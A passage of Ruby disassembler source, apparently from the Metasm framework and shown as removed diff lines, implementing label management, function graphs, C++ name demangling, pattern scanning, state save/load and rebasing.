Expression[addr].reduce - e, b = get_section_at(addr, memcheck) - if not e - elsif not l = e.inv_export[e.ptr] or (!overwrite and l != name) - l = @program.new_label(name) - e.add_export l, e.ptr - @label_alias_cache = nil - @old_prog_binding[l] = @prog_binding[l] = b + e.ptr - elsif l != name - l = rename_label l, @program.new_label(name) - end - l - end - - # remove a label at address addr - def del_label_at(addr, name=get_label_at(addr)) - ed = get_edata_at(addr) - if ed and ed.inv_export[ed.ptr] - ed.del_export name, ed.ptr - @label_alias_cache = nil - end - each_xref(addr) { |xr| - next if not xr.origin or not o = @decoded[xr.origin] or not o.kind_of? Renderable - o.each_expr { |e| - next unless e.kind_of?(Expression) - e.lexpr = addr if e.lexpr == name - e.rexpr = addr if e.rexpr == name - } - } - @old_prog_binding.delete name - @prog_binding.delete name - end - - # changes a label to another, updates referring instructions etc - # returns the new label - # the new label must be program-uniq (see @program.new_label) - def rename_label(old, new) - return new if old == new - raise "label #{new.inspect} exists" if @prog_binding[new] - each_xref(normalize(old)) { |x| - next if not di = @decoded[x.origin] - @cpu.replace_instr_arg_immediate(di.instruction, old, new) - di.comment.to_a.each { |c| c.gsub!(old, new) } - } - e = get_edata_at(old, false) - if e - e.add_export new, e.export.delete(old), true - end - raise "cant rename nonexisting label #{old}" if not @prog_binding[old] - @label_alias_cache = nil - @old_prog_binding[new] = @prog_binding[new] = @prog_binding.delete(old) - @addrs_todo.each { |at| - case at[0] - when old; at[0] = new - when Expression; at[0] = at[0].bind(old => new) - end - } - - if @inv_section_reloc[old] - @inv_section_reloc[old].each { |b, e_, o, r| - (0..16).each { |off| - if di = @decoded[Expression[b]+o-off] and di.bin_length > off - @cpu.replace_instr_arg_immediate(di.instruction, old, new) - end - } - r.target = r.target.bind(old => new) - } - @inv_section_reloc[new] = @inv_section_reloc.delete(old) - end - - if c_parser and @c_parser.toplevel.symbol[old] - @c_parser.toplevel.symbol[new] = @c_parser.toplevel.symbol.delete(old) - @c_parser.toplevel.symbol[new].name = new - end - - new - end - - # finds the start of a function from the address of an instruction - def find_function_start(addr) - addr = addr.address if addr.kind_of? DecodedInstruction - todo = [addr] - done = [] - while a = todo.pop - a = normalize(a) - di = @decoded[a] - next if done.include? a or not di.kind_of? DecodedInstruction - done << a - a = di.block.address - break a if @function[a] - l = [] - di.block.each_from_samefunc(self) { |f| l << f } - break a if l.empty? - todo.concat l - end - end - - # iterates over the blocks of a function, yields each func block address - # returns the graph of blocks (block address => [list of samefunc blocks]) - def each_function_block(addr, incl_subfuncs = false, find_func_start = true) - addr = @function.index(addr) if addr.kind_of? DecodedFunction - addr = addr.address if addr.kind_of? DecodedInstruction - addr = find_function_start(addr) if not @function[addr] and find_func_start - todo = [addr] - ret = {} - while a = todo.pop - next if not di = di_at(a) - a = di.block.address - next if ret[a] - ret[a] = [] - yield a if block_given? - di.block.each_to_samefunc(self) { |f| ret[a] << f ; todo << f } - di.block.each_to_otherfunc(self) { |f| ret[a] << f ; todo << f } if incl_subfuncs - end - ret - end - alias function_blocks each_function_block - - # returns a graph of function calls - # for each func passed as arg (default: all), update the 'ret' hash - # associating func => [list of direct subfuncs called] - def function_graph(funcs = @function.keys + @entrypoints.to_a, ret={}) - funcs = funcs.map { |f| normalize(f) }.uniq.find_all { |f| @decoded[f] } - funcs.each { |f| - next if ret[f] - ret[f] = [] - each_function_block(f) { |b| - @decoded[b].block.each_to_otherfunc(self) { |sf| - ret[f] |= [sf] - } - } - } - ret - end - - # return the graph of function => subfunction list - # recurses from an entrypoint - def function_graph_from(addr) - addr = normalize(addr) - addr = find_function_start(addr) || addr - ret = {} - osz = ret.length-1 - while ret.length != osz - osz = ret.length - function_graph(ret.values.flatten + [addr], ret) - end - ret - end - - # return the graph of function => subfunction list - # for which a (sub-sub)function includes addr - def function_graph_to(addr) - addr = normalize(addr) - addr = find_function_start(addr) || addr - full = function_graph - ret = {} - todo = [addr] - done = [] - while a = todo.pop - next if done.include? a - done << a - full.each { |f, sf| - next if not sf.include? a - ret[f] ||= [] - ret[f] |= [a] - todo << f - } - end - ret - end - - # returns info on sections, from @program if supported - # returns an array of [name, addr, length, info] - def section_info - if @program.respond_to? :section_info - @program.section_info - else - list = [] - @sections.each { |k, v| - list << [get_label_at(k), normalize(k), v.length, nil] - } - list - end - end - - # transform an address into a file offset - def addr_to_fileoff(addr) - addr = normalize(addr) - @program.addr_to_fileoff(addr) - end - - # transform a file offset into an address - def fileoff_to_addr(foff) - @program.fileoff_to_addr(foff) - end - - # remove the decodedinstruction from..to, replace them by the new Instructions in 'by' - # this updates the block list structure, old di will still be visible in @decoded, except from original block (those are deleted) - # if from..to spans multiple blocks - # to.block is splitted after to - # all path from from are replaced by a single link to after 'to', be careful ! - # (eg a->b->... & a->c ; from in a, to in c => a->b is lost) - # all instructions are stuffed in the first block - # paths are only walked using from/to_normal - # 'by' may be empty - # returns the block containing the new instrs (nil if empty) - def replace_instrs(from, to, by, patch_by=false) - raise 'bad from' if not fdi = di_at(from) or not fdi.block.list.index(fdi) - raise 'bad to' if not tdi = di_at(to) or not tdi.block.list.index(tdi) - - # create DecodedInstruction from Instructions in 'by' if needed - split_block(fdi.block, fdi.address) - split_block(tdi.block, tdi.block.list[tdi.block.list.index(tdi)+1].address) if tdi != tdi.block.list.last - fb = fdi.block - tb = tdi.block - - # generate DecodedInstr from Instrs - # try to keep the bin_length of original block - wantlen = tdi.address + tdi.bin_length - fb.address - wantlen -= by.grep(DecodedInstruction).inject(0) { |len, di| len + di.bin_length } - ldi = by.last - ldi = DecodedInstruction.new(ldi) if ldi.kind_of? Instruction - nb_i = by.grep(Instruction).length - wantlen = nb_i if wantlen < 0 or (ldi and ldi.opcode.props[:setip]) - if patch_by - by.map! { |di| - if di.kind_of? Instruction - di = DecodedInstruction.new(di) - wantlen -= di.bin_length = wantlen / by.grep(Instruction).length - nb_i -= 1 - end - di - } - else - by = by.map { |di| - if di.kind_of? Instruction - di = DecodedInstruction.new(di) - wantlen -= (di.bin_length = wantlen / nb_i) - nb_i -= 1 - end - di - } - end - - -#puts " ** patch next_addr to #{Expression[tb.list.last.next_addr]}" if not by.empty? and by.last.opcode.props[:saveip] - by.last.next_addr = tb.list.last.next_addr if not by.empty? and by.last.opcode.props[:saveip] - fb.list.each { |di| @decoded.delete di.address } - fb.list.clear - tb.list.each { |di| @decoded.delete di.address } - tb.list.clear - by.each { |di| fb.add_di di } - by.each_with_index { |di, i| - if odi = di_at(di.address) - # collision, hopefully with another deobfuscation run ? - if by[i..-1].all? { |mydi| mydi.to_s == @decoded[mydi.address].to_s } - puts "replace_instrs: merge at #{di}" if $DEBUG - by[i..-1] = by[i..-1].map { |xdi| @decoded[xdi.address] } - by[i..-1].each { fb.list.pop } - split_block(odi.block, odi.address) - tb.to_normal = [di.address] - (odi.block.from_normal ||= []) << to - odi.block.from_normal.uniq! - break - else - #raise "replace_instrs: collision #{di} vs #{odi}" - puts "replace_instrs: collision #{di} vs #{odi}" if $VERBOSE - while @decoded[di.address].kind_of? DecodedInstruction # find free space.. raise ? - di.address += 1 # XXX use floats ? - di.bin_length -= 1 - end - end - end - @decoded[di.address] = di - } - @addrs_done.delete_if { |ad| normalize(ad[0]) == tb.address or ad[1] == tb.address } - @addrs_done.delete_if { |ad| normalize(ad[0]) == fb.address or ad[1] == fb.address } if by.empty? and tb.address != fb.address - - # update to_normal/from_normal - fb.to_normal = tb.to_normal - fb.to_normal.to_a.each { |newto| - # other paths may already point to newto, we must only update the relevant entry - if ndi = di_at(newto) and idx = ndi.block.from_normal.to_a.index(to) - if by.empty? - ndi.block.from_normal[idx,1] = fb.from_normal.to_a - else - ndi.block.from_normal[idx] = fb.list.last.address - end - end - } - - fb.to_subfuncret = tb.to_subfuncret - fb.to_subfuncret.to_a.each { |newto| - if ndi = di_at(newto) and idx = ndi.block.from_subfuncret.to_a.index(to) - if by.empty? - ndi.block.from_subfuncret[idx,1] = fb.from_subfuncret.to_a - else - ndi.block.from_subfuncret[idx] = fb.list.last.address - end - end - } - - if by.empty? - tb.to_subfuncret = nil if tb.to_subfuncret == [] - tolist = tb.to_subfuncret || tb.to_normal.to_a - if lfrom = get_label_at(fb.address) and tolist.length == 1 - lto = auto_label_at(tolist.first) - each_xref(fb.address, :x) { |x| - next if not di = @decoded[x.origin] - @cpu.replace_instr_arg_immediate(di.instruction, lfrom, lto) - di.comment.to_a.each { |c| c.gsub!(lfrom, lto) } - } - end - fb.from_normal.to_a.each { |newfrom| - if ndi = di_at(newfrom) and idx = ndi.block.to_normal.to_a.index(from) - ndi.block.to_normal[idx..idx] = tolist - end - } - fb.from_subfuncret.to_a.each { |newfrom| - if ndi = di_at(newfrom) and idx = ndi.block.to_subfuncret.to_a.index(from) - ndi.block.to_subfuncret[idx..idx] = tolist - end - } - else - # merge with adjacent blocks - merge_blocks(fb, fb.to_normal.first) if fb.to_normal.to_a.length == 1 and di_at(fb.to_normal.first) - merge_blocks(fb.from_normal.first, fb) if fb.from_normal.to_a.length == 1 and di_at(fb.from_normal.first) - end - - fb if not by.empty? - end - - # undefine a sequence of decodedinstructions from an address - # stops at first non-linear branch - # removes @decoded, @comments, @xrefs, @addrs_done - # does not update @prog_binding (does not undefine labels) - def undefine_from(addr) - return if not di_at(addr) - @comment.delete addr if @function.delete addr - split_block(addr) - addrs = [] - while di = di_at(addr) - di.block.list.each { |ddi| addrs << ddi.address } - break if di.block.to_subfuncret.to_a != [] or di.block.to_normal.to_a.length != 1 - addr = di.block.to_normal.first - break if ndi = di_at(addr) and ndi.block.from_normal.to_a.length != 1 - end - addrs.each { |a| @decoded.delete a } - @xrefs.delete_if { |a, x| - if not x.kind_of? Array - true if x and addrs.include? x.origin - else - x.delete_if { |xx| addrs.include? xx.origin } - true if x.empty? - end - } - @addrs_done.delete_if { |ad| !(addrs & [normalize(ad[0]), normalize(ad[1])]).empty? } - end - - # merge two instruction blocks if they form a simple chain and are adjacent - # returns true if merged - def merge_blocks(b1, b2, allow_nonadjacent = false) - if b1 and not b1.kind_of? InstructionBlock - return if not b1 = block_at(b1) - end - if b2 and not b2.kind_of? InstructionBlock - return if not b2 = block_at(b2) - end - if b1 and b2 and (allow_nonadjacent or b1.list.last.next_addr == b2.address) and - b1.to_normal.to_a == [b2.address] and b2.from_normal.to_a.length == 1 and # that handles delay_slot - b1.to_subfuncret.to_a == [] and b2.from_subfuncret.to_a == [] and - b1.to_indirect.to_a == [] and b2.from_indirect.to_a == [] - b2.list.each { |di| b1.add_di di } - b1.to_normal = b2.to_normal - b2.list.clear - @addrs_done.delete_if { |ad| normalize(ad[0]) == b2.address } - true - end - end - - # computes the binding of a code sequence - # just a forwarder to CPU#code_binding - def code_binding(*a) - @cpu.code_binding(self, *a) - end - - # returns an array of instructions/label that, once parsed and assembled, should - # give something equivalent to the code accessible from the (list of) entrypoints given - # from the @decoded dasm graph - # assume all jump targets have a matching label in @prog_binding - # may add inconditionnal jumps in the listing to preserve the code flow - def flatten_graph(entry, include_subfunc=true) - ret = [] - entry = [entry] if not entry.kind_of? Array - todo = entry.map { |a| normalize(a) } - done = [] - inv_binding = @prog_binding.invert - while addr = todo.pop - next if done.include? addr or not di_at(addr) - done << addr - b = @decoded[addr].block - - ret << Label.new(inv_binding[addr]) if inv_binding[addr] - ret.concat b.list.map { |di| di.instruction } - - b.each_to_otherfunc(self) { |to| - to = normalize to - todo.unshift to if include_subfunc - } - b.each_to_samefunc(self) { |to| - to = normalize to - todo << to - } - - if not di = b.list[-1-@cpu.delay_slot] or not di.opcode.props[:stopexec] or di.opcode.props[:saveip] - to = b.list.last.next_addr - if todo.include? to - if done.include? to or not di_at(to) - if not to_l = inv_binding[to] - to_l = auto_label_at(to, 'loc') - if done.include? to and idx = ret.index(@decoded[to].block.list.first.instruction) - ret.insert(idx, Label.new(to_l)) - end - end - ret << @cpu.instr_uncond_jump_to(to_l) - else - todo << to # ensure it's next in the listing - end - end - end - end - - ret - end - - # returns a demangled C++ name - def demangle_cppname(name) - case name[0] - when ?? # MSVC - name = name[1..-1] - demangle_msvc(name[1..-1]) if name[0] == ?? - when ?_ - name = name.sub(/_GLOBAL__[ID]_/, '') - demangle_gcc(name[2..-1][/\S*/]) if name[0, 2] == '_Z' - end - end - - # from wgcc-2.2.2/undecorate.cpp - # TODO - def demangle_msvc(name) - op = name[0, 1] - op = name[0, 2] if op == '_' - if op = { - '2' => "new", '3' => "delete", '4' => "=", '5' => ">>", '6' => "<<", '7' => "!", '8' => "==", '9' => "!=", - 'A' => "[]", 'C' => "->", 'D' => "*", 'E' => "++", 'F' => "--", 'G' => "-", 'H' => "+", 'I' => "&", - 'J' => "->*", 'K' => "/", 'L' => "%", 'M' => "<", 'N' => "<=", 'O' => ">", 'P' => ">=", 'Q' => ",", - 'R' => "()", 'S' => "~", 'T' => "^", 'U' => "|", 'V' => "&&", 'W' => "||", 'X' => "*=", 'Y' => "+=", - 'Z' => "-=", '_0' => "/=", '_1' => "%=", '_2' => ">>=", '_3' => "<<=", '_4' => "&=", '_5' => "|=", '_6' => "^=", - '_7' => "`vftable'", '_8' => "`vbtable'", '_9' => "`vcall'", '_A' => "`typeof'", '_B' => "`local static guard'", - '_C' => "`string'", '_D' => "`vbase destructor'", '_E' => "`vector deleting destructor'", '_F' => "`default constructor closure'", - '_G' => "`scalar deleting destructor'", '_H' => "`vector constructor iterator'", '_I' => "`vector destructor iterator'", - '_J' => "`vector vbase constructor iterator'", '_K' => "`virtual displacement map'", '_L' => "`eh vector constructor iterator'", - '_M' => "`eh vector destructor iterator'", '_N' => "`eh vector vbase constructor iterator'", '_O' => "`copy constructor closure'", - '_S' => "`local vftable'", '_T' => "`local vftable constructor closure'", '_U' => "new[]", '_V' => "delete[]", - '_X' => "`placement delete closure'", '_Y' => "`placement delete[] closure'"}[op] - op[0] == ?` ? op[1..-2] : "op_#{op}" - end - end - - # from http://www.codesourcery.com/public/cxx-abi/abi.html - def demangle_gcc(name) - subs = [] - ret = '' - decode_tok = lambda { - name ||= '' - case name[0] - when nil - ret = nil - when ?N - name = name[1..-1] - decode_tok[] - until name[0] == ?E - break if not ret - ret << '::' - decode_tok[] - end - name = name[1..-1] - when ?I - name = name[1..-1] - ret = ret[0..-3] if ret[-2, 2] == '::' - ret << '<' - decode_tok[] - until name[0] == ?E - break if not ret - ret << ', ' - decode_tok[] - end - ret << ' ' if ret and ret[-1] == ?> - ret << '>' if ret - name = name[1..-1] - when ?T - case name[1] - when ?T; ret << 'vtti(' - when ?V; ret << 'vtable(' - when ?I; ret << 'typeinfo(' - when ?S; ret << 'typename(' - else ret = nil - end - name = name[2..-1].to_s - decode_tok[] if ret - ret << ')' if ret - name = name[1..-1] if name[0] == ?E - when ?C - name = name[2..-1] - base = ret[/([^:]*)(<.*|::)?$/, 1] - ret << base - when ?D - name = name[2..-1] - base = ret[/([^:]*)(<.*|::)?$/, 1] - ret << '~' << base - when ?0..?9 - nr = name[/^[0-9]+/] - name = name[nr.length..-1].to_s - ret << name[0, nr.to_i] - name = name[nr.to_i..-1] - subs << ret[/[\w:]*$/] - when ?S - name = name[1..-1] - case name[0] - when ?_, ?0..?9, ?A..?Z - case name[0] - when ?_; idx = 0 ; name = name[1..-1] - when ?0..?9; idx = name[0, 1].unpack('C')[0] - 0x30 + 1 ; name = name[2..-1] - when ?A..?Z; idx = name[0, 1].unpack('C')[0] - 0x41 + 11 ; name = name[2..-1] - end - if not subs[idx] - ret = nil - else - ret << subs[idx] - end - when ?t - ret << 'std::' - name = name[1..-1] - decode_tok[] - else - std = { ?a => 'std::allocator', - ?b => 'std::basic_string', - ?s => 'std::string', # 'std::basic_string < char, std::char_traits<char>, std::allocator<char> >', - ?i => 'std::istream', # 'std::basic_istream<char, std::char_traits<char> >', - ?o => 'std::ostream', # 'std::basic_ostream<char, std::char_traits<char> >', - ?d => 'std::iostream', # 'std::basic_iostream<char, std::char_traits<char> >' - }[name[0]] - if not std - ret = nil - else - ret << std - end - name = name[1..-1] - end - when ?P, ?R, ?r, ?V, ?K - attr = { ?P => '*', ?R => '&', ?r => ' restrict', ?V => ' volatile', ?K => ' const' }[name[0]] - name = name[1..-1] - rl = ret.length - decode_tok[] - if ret - ret << attr - subs << ret[rl..-1] - end - else - if ret =~ /[(<]/ and ty = { - ?v => 'void', ?w => 'wchar_t', ?b => 'bool', ?c => 'char', ?a => 'signed char', - ?h => 'unsigned char', ?s => 'short', ?t => 'unsigned short', ?i => 'int', - ?j => 'unsigned int', ?l => 'long', ?m => 'unsigned long', ?x => '__int64', - ?y => 'unsigned __int64', ?n => '__int128', ?o => 'unsigned __int128', ?f => 'float', - ?d => 'double', ?e => 'long double', ?g => '__float128', ?z => '...' - }[name[0]] - name = name[1..-1] - ret << ty - else - fu = name[0, 2] - name = name[2..-1] - if op = { - 'nw' => ' new', 'na' => ' new[]', 'dl' => ' delete', 'da' => ' delete[]', - 'ps' => '+', 'ng' => '-', 'ad' => '&', 'de' => '*', 'co' => '~', 'pl' => '+', - 'mi' => '-', 'ml' => '*', 'dv' => '/', 'rm' => '%', 'an' => '&', 'or' => '|', - 'eo' => '^', 'aS' => '=', 'pL' => '+=', 'mI' => '-=', 'mL' => '*=', 'dV' => '/=', - 'rM' => '%=', 'aN' => '&=', 'oR' => '|=', 'eO' => '^=', 'ls' => '<<', 'rs' => '>>', - 'lS' => '<<=', 'rS' => '>>=', 'eq' => '==', 'ne' => '!=', 'lt' => '<', 'gt' => '>', - 'le' => '<=', 'ge' => '>=', 'nt' => '!', 'aa' => '&&', 'oo' => '||', 'pp' => '++', - 'mm' => '--', 'cm' => ',', 'pm' => '->*', 'pt' => '->', 'cl' => '()', 'ix' => '[]', - 'qu' => '?', 'st' => ' sizeof', 'sz' => ' sizeof', 'at' => ' alignof', 'az' => ' alignof' - }[fu] - ret << "operator#{op}" - elsif fu == 'cv' - ret << "cast<" - decode_tok[] - ret << ">" if ret - else - ret = nil - end - end - end - name ||= '' - } - - decode_tok[] - subs.pop - if ret and name != '' - ret << '(' - decode_tok[] - while ret and name != '' - ret << ', ' - decode_tok[] - end - ret << ')' if ret - end - ret - end - - # scans all the sections raw for a given regexp - # return/yields all the addresses matching - # if yield returns nil/false, do not include the addr in the final result - # sections are scanned MB by MB, so this should work (slowly) on 4GB sections (eg debugger VM) - # with addr_start/length, symbol-based section are skipped - def pattern_scan(pat, addr_start=nil, length=nil, chunksz=nil, margin=nil, &b) - chunksz ||= 4*1024*1024 # scan 4MB at a time - margin ||= 65536 # add this much bytes at each chunk to find /pat/ over chunk boundaries - - pat = Regexp.new(Regexp.escape(pat)) if pat.kind_of? ::String - - found = [] - @sections.each { |sec_addr, e| - if addr_start - length ||= 0x1000_0000 - begin - if sec_addr < addr_start - next if sec_addr+e.length <= addr_start - e = e[addr_start-sec_addr, e.length] - sec_addr = addr_start - end - if sec_addr+e.length > addr_start+length - next if sec_addr > addr_start+length - e = e[0, sec_addr+e.length-(addr_start+length)] - end - rescue - puts $!, $!.message, $!.backtrace if $DEBUG - # catch arithmetic error with symbol-based section - next - end - end - e.pattern_scan(pat, chunksz, margin) { |eo| - match_addr = sec_addr + eo - found << match_addr if not b or b.call(match_addr) - false - } - } - found - end - - # returns/yields [addr, string] found using pattern_scan /[\x20-\x7e]/ - def strings_scan(minlen=6, &b) - ret = [] - nexto = 0 - pattern_scan(/[\x20-\x7e]{#{minlen},}/m, nil, 1024) { |o| - if o - nexto > 0 - next unless e = get_edata_at(o) - str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/m] - ret << [o, str] if not b or b.call(o, str) - nexto = o + str.length - end - } - ret - end - - # exports the addr => symbol map (see load_map) - def save_map - @prog_binding.map { |l, o| - type = di_at(o) ? 'c' : 'd' # XXX - o = o.to_s(16).rjust(8, '0') if o.kind_of? ::Integer - "#{o} #{type} #{l}" - } - end - - # loads a map file (addr => symbol) - # off is an optionnal offset to add to every address found (for eg rebased binaries) - # understands: - # standard map files (eg linux-kernel.map: <addr> <type> <name>, e.g. 'c01001ba t setup_idt') - # ida map files (<sectionidx>:<sectionoffset> <name>) - # arg is either the map itself or the filename of the map (if it contains no newline) - def load_map(str, off=0) - str = File.read(str) rescue nil if not str.index("\n") - sks = @sections.keys.sort - seen = {} - str.each_line { |l| - case l.strip - when /^([0-9A-F]+)\s+(\w+)\s+(\w+)/i # kernel.map style - addr = $1.to_i(16)+off - set_label_at(addr, $3, false, !seen[addr]) - seen[addr] = true - when /^([0-9A-F]+):([0-9A-F]+)\s+([a-z_]\w+)/i # IDA style - # we do not have section load order, let's just hope that the addresses are sorted (and sortable..) - # could check the 1st part of the file, with section sizes, but it is not very convenient - # the regexp is so that we skip the 1st part with section descriptions - # in the file, section 1 is the 1st section ; we have an additionnal section (exe header) which fixes the 0-index - addr = sks[$1.to_i(16)] + $2.to_i(16) + off - set_label_at(addr, $3, false, !seen[addr]) - seen[addr] = true - end - } - end - - # saves the dasm state in a file - def save_file(file) - tmpfile = file + '.tmp' - File.open(tmpfile, 'wb') { |fd| save_io(fd) } - File.rename tmpfile, file - end - - # saves the dasm state to an IO - def save_io(fd) - fd.puts 'Metasm.dasm' - - if @program.filename and not @program.kind_of?(Shellcode) - t = @program.filename.to_s - fd.puts "binarypath #{t.length}", t - else - t = "#{@cpu.class.name.sub(/.*::/, '')} #{@cpu.size} #{@cpu.endianness}" - fd.puts "cpu #{t.length}", t - # XXX will be reloaded as a Shellcode with this CPU, but it may be a custom EXE - # do not output binarypath, we'll be loaded as a Shellcode, 'section' will suffice - end - - @sections.each { |a, e| - # forget edata exports/relocs - # dump at most 16Mo per section - t = "#{Expression[a]} #{e.length}\n" + - [e.data[0, 2**24].to_str].pack('m*') - fd.puts "section #{t.length}", t - } - - t = save_map.join("\n") - fd.puts "map #{t.length}", t - - t = @decoded.map { |a, d| - next if not d.kind_of? DecodedInstruction - "#{Expression[a]},#{d.bin_length} #{d.instruction}#{" ; #{d.comment.join(' ')}" if d.comment}" - }.compact.sort.join("\n") - fd.puts "decoded #{t.length}", t - - t = @comment.map { |a, c| - c.map { |l| l.chomp }.join("\n").split("\n").map { |lc| "#{Expression[a]} #{lc.chomp}" } - }.join("\n") - fd.puts "comment #{t.length}", t - - bl = @decoded.values.map { |d| - d.block if d.kind_of? DecodedInstruction and d.block_head? - }.compact - t = bl.map { |b| - [Expression[b.address], - b.list.map { |d| Expression[d.address] }.join(','), - b.to_normal.to_a.map { |t_| Expression[t_] }.join(','), - b.to_subfuncret.to_a.map { |t_| Expression[t_] }.join(','), - b.to_indirect.to_a.map { |t_| Expression[t_] }.join(','), - b.from_normal.to_a.map { |t_| Expression[t_] }.join(','), - b.from_subfuncret.to_a.map { |t_| Expression[t_] }.join(','), - b.from_indirect.to_a.map { |t_| Expression[t_] }.join(','), - ].join(';') - }.sort.join("\n") - fd.puts "blocks #{t.length}", t - - t = @function.map { |a, f| - next if not @decoded[a] - [a, *f.return_address.to_a].map { |e| Expression[e] }.join(',') - }.compact.sort.join("\n") - # TODO binding ? - fd.puts "funcs #{t.length}", t - - t = @xrefs.map { |a, x| - a = ':default' if a == :default - a = ':unknown' if a == Expression::Unknown - # XXX origin - case x - when nil - when Xref - [Expression[a], x.type, x.len, (Expression[x.origin] if x.origin)].join(',') - when Array - x.map { |x_| [Expression[a], x_.type, x_.len, (Expression[x_.origin] if x_.origin)].join(',') } - end - }.compact.join("\n") - fd.puts "xrefs #{t.length}", t - - t = @c_parser.to_s - fd.puts "c #{t.length}", t - - #t = bl.map { |b| b.backtracked_for } - #fd.puts "trace #{t.length}" , t - end - - # loads a disassembler from a saved file - def self.load(str, &b) - d = new(nil, nil) - d.load(str, &b) - d - end - - # loads the dasm state from a savefile content - # will yield unknown segments / binarypath notfound - def load(str) - raise 'Not a metasm save file' if str[0, 12].chomp != 'Metasm.dasm' - off = 12 - pp = Preprocessor.new - app = AsmPreprocessor.new - while off < str.length - i = str.index("\n", off) || str.length - type, len = str[off..i].chomp.split - off = i+1 - data = str[off, len.to_i] - off += len.to_i - case type - when nil, '' - when 'binarypath' - data = yield(type, data) if not File.exist? data and block_given? - reinitialize AutoExe.decode_file(data) - @program.disassembler = self - @program.init_disassembler - when 'cpu' - cpuname, size, endianness = data.split - cpu = Metasm.const_get(cpuname) - raise 'invalid cpu' if not cpu < CPU - cpu = cpu.new - cpu.size = size.to_i - cpu.endianness = endianness.to_sym - reinitialize Shellcode.new(cpu) - @program.disassembler = self - @program.init_disassembler - @sections.delete(0) # rm empty section at 0, other real 'section' follow - when 'section' - info = data[0, data.index("\n") || data.length] - data = data[info.length, data.length] - pp.feed!(info) - addr = Expression.parse(pp).reduce - len = Expression.parse(pp).reduce - edata = EncodedData.new(data.unpack('m*').first, :virtsize => len) - add_section(addr, edata) - when 'map' - load_map data - when 'decoded' - data.each_line { |l| - begin - next if l !~ /^([^,]*),(\d*) ([^;]*)(?:; (.*))?/ - a, len, instr, cmt = $1, $2, $3, $4 - a = Expression.parse(pp.feed!(a)).reduce - instr = @cpu.parse_instruction(app.feed!(instr)) - di = DecodedInstruction.new(instr, a) - di.bin_length = len.to_i - di.add_comment cmt if cmt - @decoded[a] = di - rescue - puts "load: bad di #{l.inspect}" if $VERBOSE - end - } - when 'blocks' - data.each_line { |l| - bla = l.chomp.split(';').map { |sl| sl.split(',') } - begin - a = Expression.parse(pp.feed!(bla.shift[0])).reduce - b = InstructionBlock.new(a, get_section_at(a).to_a[0]) - bla.shift.each { |e| - a = Expression.parse(pp.feed!(e)).reduce - b.add_di(@decoded[a]) - } - bla.zip([:to_normal, :to_subfuncret, :to_indirect, :from_normal, :from_subfuncret, :from_indirect]).each { |l_, s| - b.send("#{s}=", l_.map { |e| Expression.parse(pp.feed!(e)).reduce }) if not l_.empty? - } - rescue - puts "load: bad block #{l.inspect}" if $VERBOSE - end - } - when 'funcs' - data.each_line { |l| - begin - a, *r = l.split(',').map { |e| Expression.parse(pp.feed!(e)).reduce } - @function[a] = DecodedFunction.new - @function[a].return_address = r if not r.empty? - @function[a].finalized = true - # TODO - rescue - puts "load: bad function #{l.inspect} #$!" if $VERBOSE - end - } - when 'comment' - data.each_line { |l| - begin - a, c = l.split(' ', 2) - a = Expression.parse(pp.feed!(a)).reduce - @comment[a] ||= [] - @comment[a] |= [c] - rescue - puts "load: bad comment #{l.inspect} #$!" if $VERBOSE - end - } - when 'c' - begin - # TODO parse_invalid_c, split per function, whatever - parse_c('') - @c_parser.allow_bad_c = true - parse_c(data, 'savefile#c') - rescue - puts "load: bad C: #$!", $!.backtrace if $VERBOSE - end - @c_parser.readtok until @c_parser.eos? if @c_parser - when 'xrefs' - data.each_line { |l| - begin - a, t, len, o = l.chomp.split(',') - case a - when ':default'; a = :default - when ':unknown'; a = Expression::Unknown - else a = Expression.parse(pp.feed!(a)).reduce - end - t = (t.empty? ? nil : t.to_sym) - len = (len != '' ? len.to_i : nil) - o = (o.to_s != '' ? Expression.parse(pp.feed!(o)).reduce : nil) # :default/:unknown ? - add_xref(a, Xref.new(t, o, len)) - rescue - puts "load: bad xref #{l.inspect} #$!" if $VERBOSE - end - } - #when 'trace' - else - if block_given? - yield(type, data) - else - puts "load: unsupported section #{type.inspect}" if $VERBOSE - end - end - end - end - - # change the base address of the loaded binary - # better done early (before disassembling anything) - # returns the delta - def rebase(newaddr) - rebase_delta(newaddr - @sections.keys.min) - end - - def rebase_delta(delta) - fix = lambda { |a| - case a - when Array - a.map! { |e| fix[e] } - when Hash - tmp = {} - a.each { |k, v| tmp[fix[k]] = v } - a.replace tmp - when Integer - a += delta - when BacktraceTrace - a.origin = fix[a.origin] - a.address = fix[a.address] - end - a - } - - fix[@sections] - fix[@decoded] - fix[@xrefs] - fix[@function] - fix[@addrs_todo] - fix[@addrs_done] - fix[@comment] - @prog_binding.each_key { |k| @prog_binding[k] = fix[@prog_binding[k]] } - @old_prog_binding.each_key { |k| @old_prog_binding[k] = fix[@old_prog_binding[k]] } - @label_alias_cache = nil - - @decoded.values.grep(DecodedInstruction).each { |di| - if di.block_head? - b = di.block - b.address += delta - fix[b.to_normal] - fix[b.to_subfuncret] - fix[b.to_indirect] - fix[b.from_normal] - fix[b.from_subfuncret] - fix[b.from_indirect] - fix[b.backtracked_for] - end - di.address = fix[di.address] - di.next_addr = fix[di.next_addr] - } - @function.each_value { |f| - f.return_address = fix[f.return_address] - fix[f.backtracked_for] - } - @xrefs.values.flatten.compact.each { |x| x.origin = fix[x.origin] } - delta - end - - # dataflow method - # walks a function, starting at addr - # follows the usage of registers, computing the evolution from the value they had at start_addr - # whenever an instruction references the register (or anything derived from it), - # yield [di, used_register, reg_value, trace_state] where reg_value is the Expression holding the value of - # the register wrt the initial value at start_addr, and trace_state the value of all registers (reg_value - # not yet applied) - # reg_value may be nil if used_register is not modified by the function (eg call [eax]) - # the yield return value is propagated, unless it is nil/false - # init_state is a hash { :reg => initial value } - def trace_function_register(start_addr, init_state) - function_walk(start_addr, init_state) { |args| - trace_state = args.last - case args.first - when :di - di = args[2] - update = {} - get_fwdemu_binding(di).each { |r, v| - if v.kind_of?(Expression) and v.externals.find { |e| trace_state[e] } - # XXX may mix old (from trace) and current (from v) registers - newv = v.bind(trace_state) - update[r] = yield(di, r, newv, trace_state) - elsif r.kind_of?(ExpressionType) and rr = r.externals.find { |e| trace_state[e] } - # reg dereferenced in a write (eg mov [esp], 42) - next if update.has_key?(rr) # already yielded - if yield(di, rr, trace_state[rr], trace_state) == false - update[rr] = false - end - elsif trace_state[r] - # started on mov reg, foo - next if di.address == start_addr - update[r] = false - end - } - - # directly walk the instruction argument list for registers not appearing in the binding - @cpu.instr_args_memoryptr(di).each { |ind| - b = @cpu.instr_args_memoryptr_getbase(ind) - if b and b = b.symbolic and not update.has_key?(b) 